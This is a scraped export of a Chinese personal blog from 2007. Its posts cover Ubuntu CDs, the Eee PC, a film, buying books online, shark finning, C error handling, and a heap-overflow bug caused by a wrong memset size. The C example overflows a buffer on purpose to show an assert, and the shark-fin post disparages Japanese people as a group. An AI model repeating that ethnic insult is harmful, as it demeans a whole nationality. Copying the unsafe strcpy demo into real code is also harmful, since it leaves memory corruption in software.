年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2007/11/26/national-football-team-is-assigned-to-the-group-of-death/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"见证国足进入死亡之组"},{"content":"Mark Shuttleworth，Ubuntu的创始人，给了Ubuntu爱好者一个免费获取Ubuntu光盘的机会，自从去年年初收到一次Ubuntu 5.10的光盘后，昨天我又拿到了最新的Ubuntu 7.10的光盘。\n去年的光盘数目很多，估计当时的Canonical是为了扩大自己的linux distribution的影响，在\u0026quot;shipit\u0026ldquo;页面上鼓励你多多索取光盘。也正如Canonical所期望的，我将大部分光盘都分给了周围的同事和朋友了，也算帮Ubuntu进行了一次\u0026quot;推广\u0026quot;工作了:) 而这次我申请光盘时，其网站上提供的标准选择就是一张PC CD和一张64-bit PC CD了。当然你也可以选择索取更多，但是页面上会提醒你索取非标准选项的光盘数目，邮递周期会长达6-10 weeks。我选择了标准选项。从提交订单到拿到光盘，好像只用了3 weeks的时间。\nUbuntu包裹(包裹中有ubuntu logo的贴纸)\nUbuntu 7.10光盘被设计成为了LiveCD，就是说你可以不用安装linux就可以从CD启动使用Ubuntu linux。方法很简单：将光盘放入光驱，重启computer，注意BIOS设置中要将光盘驱动器放到启动设备列表的最前面。Ubuntu光盘启动后界面和XP很相似，黑底屏幕中央一个Ubuntu的logo以及闪烁的进度条。由于需要将光盘映像读入内存，所以这个过程比较慢。等Ubuntu的桌面展现在你的面前时，你就可以试用Ubuntu了，浏览网页、编辑文档等等均可以做到，所以试用后你再决定是否要安装Ubuntu也不为晚也。\nUbuntu LiveCD引导界面\nUbuntu内核加载(与WinXP启动界面形似吧)\nUbuntu桌面 (点击桌面上的install图标即开始安装Ubuntu)\n贴上Ubuntu标签的本本\n","permalink":"https://tonybai.com/2007/11/25/got-ubuntu-7-disc/","summary":"\u003cp\u003eMark Shuttleworth，\u003ca href=\"http://www.ubuntu.com/\"\u003eUbuntu\u003c/a\u003e的创始人，给了\u003ca href=\"http://forum.ubuntu.org.cn/\"\u003eUbuntu爱好者\u003c/a\u003e一个免费获取Ubuntu光盘的机会，自从去年年初收到一次\u003ca href=\"http://tonybai.com/2006/01/23/got-the-ubuntu-disc/\"\u003eUbuntu 5.10\u003c/a\u003e的光盘后，昨天我又拿到了最新的Ubuntu 7.10的光盘。\u003c/p\u003e\n\u003cp\u003e去年的光盘数目很多，估计当时的Canonical是为了扩大自己的linux distribution的影响，在\u0026quot;\u003ca href=\"https://shipit.ubuntu.com/\"\u003eshipit\u003c/a\u003e\u0026ldquo;页面上鼓励你多多索取光盘。也正如Canonical所期望的，我将大部分光盘都分给了周围的同事和朋友了，也算帮Ubuntu进行了一次\u0026quot;推广\u0026quot;工作了:) 而这次我申请光盘时，其网站上提供的标准选择就是一张PC CD和一张64-bit PC CD了。当然你也可以选择索取更多，但是页面上会提醒你索取非标准选项的光盘数目，邮递周期会长达6-10 weeks。我选择了标准选项。从提交订单到拿到光盘，好像只用了3 weeks的时间。\u003c/p\u003e","title":"又获Ubuntu 7.10光盘"},{"content":"曾经在淘宝网一度炒到近5000元的华硕Asus Eee PC终于于今天登陆中国内地市场了，现在如果你方便访问国美北京分站的话，你就会看到屏幕上醒目的Asus Eee PC的广告了，国美出售的Eee PC的规格是4G固态硬盘、512M内存，5200ma锂电池，网购售价：2999元。\nEee PC最大卖点无非这么几个：\n1、0.92公斤；\n2、固态硬盘设计，稳定抗震，数据无忧；\n3、开关机速度快；\n4、支持无线接口，可以在任意时刻上网冲浪；\n5、常用软件全内置(当然大多数是开源软件)，对于不懂得在linux下安装软件的人，这些就已经足够应付日常工作和学习了。\n上面的前三点恰恰也是我在\u0026quot;关注百元PC\u0026ldquo;中所提到的我所需要的那种PC的特点。但目前Eee PC刚刚上市，还有一些不确定的因素：\n1、配置较低，用户体验收到影响，特别是如果改装Windows系统，其缓慢可能难以忍受；\n2、技术有待成熟。目前Eee PC全部预装的是固化版Xandros Linux系统，界面比较傻瓜。我的疑问是Eee PC是否可以顺利安装其他Linux通用发行版如Ubuntu，需待进一步关注；\n3、价格有些偏高。离真正的’百元PC’还相差甚远，在众多高性能笔记本价格下滑的今天，2999元的确偏高；\n4、产品尚未经过优化。因为离全球首发也没多长时间，即使有使用者的反馈，Asus的工程师也需一段时间才能推出经过优化的新版本；另外Eee PC虽说采用的是7寸液晶屏，但是其整机的尺寸应该在11寸左右，所以网上有传言：Eee PC会出10寸屏的新版本，在不扩大产品尺寸的基础上扩大显示范围，当然这种版本会更受欢迎；\n5、产品售后是否有良好保证。\n目前我还未见过Eee PC的真机，今天在沈城Eee PC可能还未上市。Eee PC可以说是第一个\u0026quot;吃螃蟹\u0026quot;的商业超便携PC，其前景仍不明朗，继续观望中。\n其他参考文章：\n华硕Eee PC真机深度剖析\n","permalink":"https://tonybai.com/2007/11/24/eee-pc-is-available-on-the-market/","summary":"\u003cp\u003e曾经在\u003ca href=\"http://www.taobao.com/\"\u003e淘宝网\u003c/a\u003e一度炒到近5000元的华硕Asus \u003ca href=\"http://www.asus.com.cn/event/2007/EeePC/\"\u003eEee PC\u003c/a\u003e终于于今天登陆中国内地市场了，现在如果你方便访问\u003ca href=\"http://www.gome.com.cn/areaindex-51301.htm\"\u003e国美北京分站\u003c/a\u003e的话，你就会看到屏幕上醒目的Asus Eee PC的广告了，国美出售的Eee PC的规格是4G固态硬盘、512M内存，5200ma锂电池，网购售价：2999元。\u003c/p\u003e","title":"Eee PC内地上市，价格略偏高"},{"content":"早上看CCTV-6的中国电影报道，看到了冯小刚导演的首部战争片\u0026quot;集结号\u0026ldquo;的片花，以及杨坤为这部电影创作的MV-\u0026ldquo;兄弟\u0026rdquo;。这又是一部男人戏，继\u0026quot;士兵突击\u0026quot;后的又一部男人戏，片花中战争场面以及MV歌声中蕴含的情感给我的第一印象是感动和震撼。\n在sina视频上又一次完整的看了一遍\u0026rdquo;兄弟\u0026ldquo;这部MV，感觉这是一部类似美国\u0026quot;拯救大兵瑞恩\u0026quot;或\u0026quot;风语者\u0026quot;的电影，但是我想影片中的情感的表达应该要强于后两者，对情感的把握，中国导演要做得更加细腻一些。影片讲述的是这样一个故事：47名解放军战士，他们在一次阻击战斗中除了连长谷子地之外全部阵亡，建国后幸存的谷子地尽毕生时间为46名兄弟争取荣誉。连长谷子地由张涵予扮演，目前热播的’士兵突击‘中的主演王宝强在此片中扮演一个身手敏捷的狙击手，邓超、袁泉和胡军在本片中都有角色。从目前公开的片花来看，影片在战争场景制作水平上已经达到了很高的水准。遗憾的是影片中描写战争场面的时长仅占全片的三分之一，不知道这不算太长的震撼场面会不会让观众们获得满足。\n以往的拍摄解放军内战或者八路军抗战的电影都由八一厂来完成，而且讲述的一般都是中国共产党的优秀将领，这次商业电影\u0026quot;集结号\u0026quot;则是从一帮普通战士的角度去诠释战争，倡导和平，我想这是’集结号’值得大家去影院观看的一个理由。’集结号’即将于下个月20号在大陆上映，期待中。\n","permalink":"https://tonybai.com/2007/11/17/film-assembly-is-comming/","summary":"\u003cp\u003e早上看CCTV-6的中国电影报道，看到了冯小刚导演的首部战争片\u0026quot;\u003ca href=\"http://assembly.hbpictures.com/\"\u003e集结号\u003c/a\u003e\u0026ldquo;的片花，以及杨坤为这部电影创作的MV-\u0026ldquo;兄弟\u0026rdquo;。这又是一部男人戏，继\u0026quot;士兵突击\u0026quot;后的又一部男人戏，片花中战争场面以及MV歌声中蕴含的情感给我的第一印象是感动和震撼。\u003c/p\u003e\n\u003cp\u003e在sina视频上又一次完整的看了一遍\u0026rdquo;\u003ca href=\"http://video.sina.com.cn/ent/y/2007-11-15/09194551.shtml\"\u003e兄弟\u003c/a\u003e\u0026ldquo;这部MV，感觉这是一部类似美国\u0026quot;拯救大兵瑞恩\u0026quot;或\u0026quot;风语者\u0026quot;的电影，但是我想影片中的情感的表达应该要强于后两者，对情感的把握，中国导演要做得更加细腻一些。影片讲述的是这样一个故事：47名解放军战士，他们在一次阻击战斗中除了连长谷子地之外全部阵亡，建国后幸存的谷子地尽毕生时间为46名兄弟争取荣誉。连长谷子地由\u003ca href=\"http://blog.sina.com.cn/m/zhanghanyu\"\u003e张涵予\u003c/a\u003e扮演，目前热播的’\u003ca href=\"http://shibing.milblog.com.cn/\"\u003e士兵突击\u003c/a\u003e‘中的主演王宝强在此片中扮演一个身手敏捷的狙击手，邓超、袁泉和胡军在本片中都有角色。从目前公开的片花来看，影片在战争场景制作水平上已经达到了很高的水准。遗憾的是影片中描写战争场面的时长仅占全片的三分之一，不知道这不算太长的震撼场面会不会让观众们获得满足。\u003c/p\u003e\n\u003cp\u003e以往的拍摄解放军内战或者八路军抗战的电影都由八一厂来完成，而且讲述的一般都是中国共产党的优秀将领，这次商业电影\u0026quot;集结号\u0026quot;则是从一帮普通战士的角度去诠释战争，倡导和平，我想这是’集结号’值得大家去影院观看的一个理由。’集结号’即将于下个月20号在大陆上映，期待中。\u003c/p\u003e","title":"'集结号'即将吹响"},{"content":"也许有人会笑话我，但这是事实，前天我才收到我第一次网购的两本书。在这个互联网发达的年代，这个\u0026quot;第一次\u0026quot;未免有些落伍了。其实不在网上买书也是有原因的，现在的书店也是打折很多的，还有很多与公司有协议的，拿着工卡就打更多折扣，特别是计算机图书，社科类的书倒是没有这么大折扣。\n这次是从互动出版网(china-pub)买的书。互通出版网成立于2000年7月，我也是那个时间进入大学学习并开始接触计算机和网络的，我也是那时注册的出版网的会员的，也许还属于从未买过书的元老级会员呢。\n在大上周日，在网上发现china-pub的\u0026quot;Algorithm in C\u0026quot;这本书的英文版居然6折出售，要知道这本书在书店基本已经绝迹了。顿时产生了网购的念头。网购一单买一本是不划算的，再寻觅一本吧。在数学书店中，我发现了排在销售榜第一位的\u0026quot;什么是数学\u0026ldquo;一书，我一直以来都想买一本科普性质的数学书。而\u0026quot;什么是数学\u0026quot;恰是一本科普性质的，但是也不乏深度的书，属于数学爱好者和专业人员皆宜的书。这本书第一版诞生\n于上个世纪中旬，几十年来一直长盛不衰，已经成为世界公认的经典数学科普读物了。该书第一版作者R·柯朗(Richard Courant)是20世纪杰出的数学家，他的\u0026quot;数学物理方程\u0026quot;和\u0026quot;微积分学\u0026quot;也是学科内公认的杰出代表作。相信看这样大师做的书一定是会有思想性的收获的，关键是能坚持读下去，估计有一定难度，呵呵。拿下。另外还有两本著名数学科普书\u0026rdquo;从一到无穷大:科学中的事实和臆测\u0026ldquo;和\u0026rdquo;啊哈，灵机一动\u0026ldquo;也是值得收入囊中的，下次吧，书要一本一本看，贪多嚼不烂啊。\nC算法\u0026quot;Algorithm in C\u0026rdquo;这本书也是不错的，被作为美国很多名校的CS专业教材或参考资料，书中以介绍和实践为主，并不是教你如何进行算法设计的书(千万别买错了)，但平时放一本这样的书在身边，可以作为参考书使用。\n","permalink":"https://tonybai.com/2007/11/15/buy-book-on-internet-for-the-first-time/","summary":"\u003cp\u003e也许有人会笑话我，但这是事实，前天我才收到我第一次网购的两本书。在这个互联网发达的年代，这个\u0026quot;第一次\u0026quot;未免有些落伍了。其实不在网上买书也是有原因的，现在的书店也是打折很多的，还有很多与公司有协议的，拿着工卡就打更多折扣，特别是计算机图书，社科类的书倒是没有这么大折扣。\u003c/p\u003e","title":"第一次网上买书"},{"content":"晚上一边吃饭一边欣赏电视节目，电视屏幕在手中遥控器的控制下闪烁，调到CCTV-10，屏幕上的三个人正在讲如何做鱼翅？也许看到这你会以为这是一栏饮食节目，错，这个时段播放的是’绿色空间’。\n鱼翅是否有营养是否好吃，我不知道，我也没有吃过，不过我这里要讲一下鱼翅的产生过程。当然这是我刚出电视上看到的，以前偶尔也听说过，不过没有看到Video，没有直观的感受罢了，念想也就不那么深刻。\n先说说鱼翅是什么吧？老百姓都知道鱼翅是很贵重的海味，一般人是无福享用的。那么鱼翅到底是什么呢？鱼翅就是用中型或大型的鲨鱼的胸鳍、背鳍和尾鳍干制而成的一种海产品。按书中记载：鱼翅也就是鲨鱼鳍的骨质松软细腻，营养丰富，主要含胶体蛋白等，有补气、补血、补肾、补肺的功效，主治各种慢性虚劳等症。其实这些功效很多陆上的草药也都具备，没有必要非要吃昂贵的鱼翅或者说鱼翅并没有什么独一无二的营养价值和医疗功效。可是就是这样东西却颇受中国人和东南亚人的喜爱，并推崇为高级食品。\n我在电视上看到了什么呢？一艘渔船，画面中两个渔民，一个渔民摁住刚刚被网住出水的大约一米多长的鲨鱼，另一渔民残忍的用利刃活生生的将鲨鱼的胸鳍、背鳍和尾鳍割下来。大家知道鲨鱼的其他部位是没有什么用处的。被割掉各种鳍的这条鲨鱼又被\u0026quot;放归\u0026quot;大海，您说这条鲨鱼还能活吗，就好比被割了手脚的人被放到野地里，除了等死还有什么？更令人颤栗的是：每年全世界按照这种方式被屠杀的鲨鱼数目惊人。网上有这样一组数据：以2.5亿鱼翅消费人数计算，若每人平均消费2只鱼翅?包括背翅、胸翅、尾翅，那就意味着每年有1亿条鲨鱼被按照这种方式被屠杀。鲨鱼在海洋中处于海洋生物链的高端，这几年鲨鱼数量剧减，处于中游的鱼类增多，海洋中的微生物急剧繁殖，导致号称\u0026quot;海洋中的热带雨林\u0026quot;的珊瑚礁大量死亡。\n鱼翅这样的\u0026quot;美味\u0026quot;，你真的能咽下去吗？\n人类对海洋的掠夺太无度了，特别是那些变态的日本人，连古老的、可爱的、我们的同类(哺乳动物)鲸鱼也不放过，大肆的屠杀鲸鱼早晚会遭受报应的–就如电影\u0026quot;日本沉没\u0026quot;那样。\n那些生存在陆地上，但却正在遭受与鲸鱼、鲨鱼一样’待遇’的动物如藏羚羊、野牦牛…也同样需要我们的关注。人类收敛一下你的贪婪吧-\u0026ldquo;没有买卖，就没有杀戮\u0026rdquo;。\n","permalink":"https://tonybai.com/2007/11/15/you-should-not-eat-such-food/","summary":"\u003cp\u003e晚上一边吃饭一边欣赏电视节目，电视屏幕在手中遥控器的控制下闪烁，调到CCTV-10，屏幕上的三个人正在讲如何做鱼翅？也许看到这你会以为这是一栏饮食节目，错，这个时段播放的是’绿色空间’。\u003c/p\u003e","title":"这种美味，你咽的下去吗？"},{"content":"大凡写程序者，都会遇到错误；\n大凡写程序者也都知道两种错误处理的机制：传统的\u0026rsquo;错误码返回机制\u0026rsquo;和\u0026rsquo;面向对象语言引入的异常处理机制\u0026rsquo;。\n人们常常会在这两种机制之间徘徊不定，难以抉择。但有两类人大可不必为此头痛，他们是坚决只使用\u0026rsquo;错误码返回机制\u0026rsquo;的人，和坚决只使用\u0026rsquo;异常处理机制\u0026rsquo;的人。而苦就苦了摇摆在中间，思索不定的那些人了。这群人有一个特点就是不停的问：\u0026ldquo;什么是异常？什么时候该使用错误码返回？什么时候又要用标准的异常处理机制呢？内存不足是不是异常？网络瘫痪是不是异常？用户输入id的超出了允许的长度该如何处理？\u0026ldquo;等\n等诸如此类的问题。\n我一直使用C，C没有像C++、Java、Ruby那样提供标准的异常处理机制，C只是提供了setjmp和longjmp这样的粗糙的甚至让很多新人觉得迷惑的调用接口，所以到目前为止，我还没有真正用过\u0026quot;异常处理\u0026quot;来写过代码。直到我看到\u0026quot;David Hanson \u0026ldquo;的\u0026rdquo;c interfaces and implementations(C语言接口与实现)\u0026ldquo;中第4章封装的C的异常处理宏。看完后我有些迷惑。迷惑的不是这组宏有什么精湛技艺，而是他破坏了以前我对错误处理的单一使用错误码返回的想法，他又给了我一个选择：使用异常处理。而多了一种选择之后，我也陷入徘徊不定中。只能反复的一遍又一遍的看和回味Hanson在这章起始的那段关于错误分类的描述和理解，以寻求在返回错误码和使用异常处理之间的平衡。\nHanson将错误分为三类：\n用户错误，就是由用户的不正确输入引起的，对于此类错误的态度是：函数必须处理错误并返回错误代码。\n//testusererr.c\nint main(int argc, char *argv[]) {\nif (argc \u0026lt;= 1) {\nprintf(\u0026ldquo;you should input at leaset an argument!\\n\u0026rdquo;);\nreturn 1;\n}\nint i = atoi(argv[1]);\nif (i \u0026lt; 5) {\nprintf(\u0026ldquo;i should be more than 5.\\n\u0026rdquo;);\nreturn 2;\n}\nreturn 0;\n}\n上述的例子仅是一个程序接收用户的输入，并对其输入错误进行处理。\n那么对于一个功能接口而言，对其参数是否都要做类似处理呢？通常来说在我们系统中除了针对用户的接口需要进行外，其他的接口都是内部调用的，比如库，库提供了接口同时也隐含了某种约定。我们作为程序员在使用库的时候都会遵守约定。但是这是不是这些库接口就不用对其接口参数进行任何处理了呢。一般我们会在接口的入口处加上断言。这就是我们要说的第二种错误–可检查的运行时错误。\n按照Hanson的说法，可检查的运行时错误不是用户错误，上面已经说了，程序员已经按照约定传入了适当的参数，那么一旦出现错误，这个错误是从何而来的呢？可检查的运行时错误恰恰是揭示了程序的漏洞，他们不可预料，通常遇到此类错误，应用程序一般将无法恢复。看下面的例子：\n//testcheckedrterr.c\n#include\n#include\n#define MY_MAGIC 0×19210723\nstruct Foo {\nint i;\nchar id[22];\n#ifdef _DEBUG\nunsigned int magic;\n#endif\n};\nvoid check_foo(const struct Foo *foo) {\nassert(foo != NULL);\n#ifdef _DEBUG\nassert(foo-\u0026gt;magic == MY_MAGIC);\n#endif\n;\n}\nint main() {\nstruct Foo foo;\nfoo.i = 13;\n#ifdef _DEBUG\nfoo.magic = MY_MAGIC;\n#endif\nstrcpy(foo.id, \u0026ldquo;this will cause an overflow\u0026rdquo;);\ncheck_foo(\u0026amp;foo);\n}\ngcc -D_DEBUG -g *.c\n执行的结果：\nAssertion failed: foo-\u0026gt;magic == MY_MAGIC, file testcheckedrterr.c, line 20\n退出 (（主存储器）信息转储)\n这里程序的确是按照check_foo的需要的参数提供了参数，只是没有预料到，程序存在栈溢出，对于这种运行时错误，在check_foo中我们使用了断言。断言一般都是无法恢复的，直接的结果就是程序退出。\n异常，第三类错误，极少出现，可能不可预测，但有可能从中恢复的错误。如：内存不足、网络瘫痪、磁盘空间满等。按照Hanson的经验，由于异常发生很少，很多可能发生此类异常的函数都是没有返回值的。这时是采用异常处理机制的好时机。\n说到这，也许还只是停留在说教上，也许开头提到的那些疑问仍然无法回答。我想什么样的回答都不能令所有人满意，自己在项目中摸索理解吧。其实永远没有绝对的事情，你大可在程序中丝毫不考虑使用异常机制。\n","permalink":"https://tonybai.com/2007/11/13/the-choice-when-dealing-with-errors/","summary":"\u003cp\u003e大凡写程序者，都会遇到错误；\u003cbr\u003e\n大凡写程序者也都知道两种错误处理的机制：传统的\u0026rsquo;错误码返回机制\u0026rsquo;和\u0026rsquo;面向对象语言引入的异常处理机制\u0026rsquo;。\u003c/p\u003e","title":"面对'错误'的抉择"},{"content":"今天凌晨配合云南移动进行局数据全量升级，本来以为是件很轻松的活计，甚至不需要我动手的事情，结果却又是一次惨痛的教训啊。\n这个活计其实真的很简单，就是将数据库中的旧数据全部删除，然后导入新的数据，由于数据量较大需要重启一次我们的系统。问题就在重启系统上。摆在我面前的就是\u0026quot;重启失败\u0026quot;，系统dump一个core文件。通过pstack和gdb查看如下：\ncore \u0026lsquo;core\u0026rsquo; of 7971: xxxxx -s\nfe647b38 t_splay (3a71b0, 229, 228, 3a7000, 3ca548, 8000000) + 14\nfe6475ec realfree (3ca320, 741f4, 320974, fe6bc000, 0, 3209a5) + c8\nfe647e5c cleanfree (0, 7, fe6c29bc, 1a8, 3a7008, 0) + 54\nfe646f88 _malloc_unlocked (ea60, 0, ff13de50, fe6bc000, ff184ae6, 0) + f4\nfe646e78 malloc (ea60, 3e8, 0, 2, f8e9dacb, 1) + 20\n000fa330 我们一业务函数，暂叫A_func吧 (18, 186a0, ffbfe4b0, 30330000, 37, ff00) + 1fc\n碰到系统调用malloc出core，简单的初级的想法是：系统资源出现问题。使用df和top查看得知，物理内存居然有12G Free，而且出core的地方位于初始化阶段，系统大量使用内存的地方还未执行呢。\n这个问题也真是碰巧了，A_func这个业务层接口恰恰是初始化我们今晨更新的局数据的接口，这又不由得让我去检验数据的有效性，经过回归数据，甚至是清空数据，问题依旧。\n曾怀疑过内存对齐问题，但是自己明知道malloc出来的数据是经过编译器对齐的，经过测试后排除。\n甚至怀疑这是Solaris的bug，在网上花了半个多小时搜索原因，未遂。每每当应用程序程序员遇到自己解决不了的问题时，都会归咎于操作系统。\n在用户的多次催促下(大家知道电信的产品每年的宕机时间是有规定的)，无奈下退回到以前的版本，发现居然可以启动。这说明什么呢？首先今晨更新的局数据是没有问题的，系统资源也是没有问题的，操作系统也是无恙的。一个新的思路急至眼前，比对一下新版和旧版功能上的差别，只有一个新增功能。恰好，这个功能(这里暂叫B_func)对应的初始化就在A_func之前调用的。快速转移到B_func内部实现当中，哇，问题\n找到了。\n问题源于Heap的溢出，原因当然是编码不当，马虎所致，更精确的说是：copy \u0026amp; paste所致。\n在B_func中在原生Heap上动态申请了一块内存，内存大小为n * sizeof(A_Struct); 之后在B_func中对这块刚申请的内存进行了一次\u0026rsquo;清零\u0026rsquo;操作。就是这次\u0026rsquo;清零\u0026rsquo;操作惹下了大祸：memset(ptr_to_mem_alloced, 0, n * sizeof(B_Struct)); 而sizeof(B_Struct) \u0026gt; sizeof(A_Struct)，这样大家就清楚了，由于\u0026rsquo;copy \u0026amp; paste\u0026rsquo;，heap上的\u0026rsquo;组织网络\u0026rsquo;被局部的摧毁了。之后再使用heap上的数据单元自然逃离不了灭顶之灾。\n这段代码是一个来到公司的新员工所写，这个员工是社招，水平不赖。其实真的不能埋怨这位员工，通过这次事件感觉责任最大的还是我，只怨我当初在评审代码时因此处简单而未加仔细评审，否则这种问题早就会被消灭在萌芽中了，也就不会出现今天的事件了。\n这里也要感谢在远方的云南移动的兄弟顶住了投诉的压力，让我有时间找到问题所在啊。\n以下是摘自WIKIPEDIA的关于\u0026quot;heap overflow\u0026quot;的描述：A heap overflow is another type of buffer overflow that occurs in the heap data area. Memory on the heap is dynamically allocated by the application at run-time and typically contains program data. Exploitation goes as follows: if an application copies data without first checking to see if it fits into the chunk (blocks of data in the heap), the attacker could supply the application with a piece of data that is too large, overwriting heap management information (metadata) of the next chunk. This allows an attacker to overwrite an arbitrary memory location with four bytes of data. In most environments, this may allow the attacker control over the program execution.\n","permalink":"https://tonybai.com/2007/11/10/debug-heap-overflow/","summary":"\u003cp\u003e今天凌晨配合云南移动进行局数据全量升级，本来以为是件很轻松的活计，甚至不需要我动手的事情，结果却又是一次惨痛的教训啊。\u003c/p\u003e\n\u003cp\u003e这个活计其实真的很简单，就是将数据库中的旧数据全部删除，然后导入新的数据，由于数据量较大需要重启一次我们的系统。问题就在重启系统上。摆在我面前的就是\u0026quot;重启失败\u0026quot;，系统dump一个core文件。通过pstack和gdb查看如下：\u003cbr\u003e\ncore \u0026lsquo;core\u0026rsquo; of 7971: xxxxx -s\u003cbr\u003e\nfe647b38 t_splay (3a71b0, 229, 228, 3a7000, 3ca548, 8000000) + 14\u003cbr\u003e\nfe6475ec realfree (3ca320, 741f4, 320974, fe6bc000, 0, 3209a5) + c8\u003cbr\u003e\nfe647e5c cleanfree (0, 7, fe6c29bc, 1a8, 3a7008, 0) + 54\u003cbr\u003e\nfe646f88 _malloc_unlocked (ea60, 0, ff13de50, fe6bc000, ff184ae6, 0) + f4\u003cbr\u003e\nfe646e78 malloc (ea60, 3e8, 0, 2, f8e9dacb, 1) + 20\u003cbr\u003e\n000fa330 我们一业务函数，暂叫A_func吧 (18, 186a0, ffbfe4b0, 30330000, 37, ff00) + 1fc\u003c/p\u003e","title":"遭遇Heap溢出"},{"content":"早在几个月前就从网上下载到了\u0026quot;Working Effectively With Legacy Code\u0026quot;这本书的E版，之所以下这本书是因为看到了\u0026quot;Legacy Code\u0026quot;这两个单词了，说实话当时我并不知晓这本书的价值，只是想当然的认为：这本书可能会有助我改善我所从事的项目中的\u0026quot;Legacy Code\u0026quot;。早在上个月去逛书店时，就看到了书架上的这本\u0026quot;修改代码的艺术\u0026quot;，遗憾的是没有给予足够关注。在最近看到这本书译者刘未鹏的博客以及Dreamhead关于这本书的评价后，才又从电脑中找到这本书开始翻看。从与这本书几次\u0026quot;擦身而过\u0026quot;的经历来看，自己识书的能力实在是差劲。\n我需要这本书，首先是因为我目前的项目中就有大量大量的\u0026quot;Legacy 